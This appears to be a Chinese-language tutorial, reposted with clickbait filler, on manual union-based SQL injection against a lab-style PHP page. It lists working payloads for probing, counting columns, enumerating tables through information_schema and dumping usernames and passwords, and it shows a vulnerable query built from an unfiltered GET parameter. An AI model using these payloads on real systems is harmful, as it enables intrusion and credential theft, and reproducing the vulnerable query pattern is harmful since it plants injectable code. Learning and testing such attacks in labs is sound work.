前言:
现在兄弟们对“查询users表列出用户的所有信息”可能比较关怀,朋友们都需要知道一些“查询users表列出用户的所有信息”的相关知识。那么小编同时在网摘上收集了一些对于“查询users表列出用户的所有信息””的相关文章,希望咱们能喜欢,看官们快快来了解一下吧!导读:基本了解到SQL相关语句后,可以进行SQL注入的学习,其中又包括了很多种,今天先从最简单的开始。
一、SQL注入原理
SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。
它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照设计者意图的SQL语句。
产生原因:是程序没有细致过滤用户输入的数据,从而导致非法数据进入系统。
相关技术原理:SQL注入可以分为平台层注入和代码注入。前者是由不安全的数据库配置或平台漏洞所致。或者是程序员对输入未进行细致过滤产生。
这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。
举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领域’区来达到攻击的目的。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。必须根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。
二、从网页传入参数注入
这是SQL注入中最常见的方法,并且根据该注入原理有跟多SQL注入工具
同样,首先应测试是否存在注入漏洞,简单的:’ 或 and 1=1 and 1=2之类的SQL语句。
如果没有检测,直接运行SQL语句,说明有机会注入。
举例:
从参数注入,简单的测试方法是:
①
② ' and 1=1
③ ' and 1=2
可以注入的表现:
① 正常显示(这是必然的,不然程序就有错)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
先来看index.php文件
以下内容为部分程序代码:
……
$id=$_GET['id']; //接受get传递的参数名为id的值并赋值给变量id
......
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 把查询到的结果赋值给变量名sql
......
echo 'Your Login name:'. $row['username']; //在网页上显示字段名为username 的字段值
echo "<br>";
echo 'Your Password:' .$row['password'];
(1)猜表名:
' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 回显的就是你猜测的表名。
(2)猜字段名:
' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1 回显的就是字段名
如果不太懂,没关系,下面具体讲解:
三、注入具体步骤示例:
步骤:
1 先判断是否有注入点 and 1=1 and 1=2
2 再判断字段数量 order by x 如果页面回显正常,则字段数为 order by 后面的数字
3 使用联合查询 union
示例:
1. 网页中 相当于下面语句
所以在网页里需要自己输入闭合的一对引号 ' and 1=1 --+
' and 1=2 --+
判断‘ 后为注入点。
2、 查询当前表格的字段长度
' order by 3 --+ 结果显示正常
' order by 4 --+ 结果显示错误
得出有三个字段。
3、 用 union 语句查看当前是哪几位有效
' and 1=2 union select 1,2,3 --+ 结果为2和3 所以有效位为后两位
4、 根据有效位置为2、3位,所以可以更改这两位的变量,可查找当前的数据库名。
补充一点SQL基础:
1 select @@basedir 查询数据库安装路径
2 select @@datadir 查询数据库所在目录
3 select version() 查询数据库的版本
4 select user() 查询当前数据库的使用用户
5 select database() 当前使用数据库的名字
' and 1=2 union select 1,database(),3 --+
5、 查看当前数据库里有哪些表,查询之后一共就只有四个表。
(补充:
Mysql5.0以上版本手工注入
Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值)
information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名
条件为 table_schema:数据库名 )
information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))
6、 根据查询到的有用信息表user,想查看其表中有哪些属性即列名。
' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+
查询结果有三项分别为 id、username、password
7、 查看users表里面具体的用户信息。
' and 1=2 union select 1,username,password from users limit 0,1--+
一共查到了12个用户记录。
总结:要想实现注入,首先要找到注入点,使用联合查询的语句时都需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在Mysql中都是可以实现的。
基本步骤:
一、找到注入点;
二、判断当前表的字段;
三、用联合语句查看哪几位是有效位;
四、查看当前数据库中有哪些表;
五、查看表中有哪些属性;
六、查看表中具体的数据信息。
标签: #查询users表列出用户的所有信息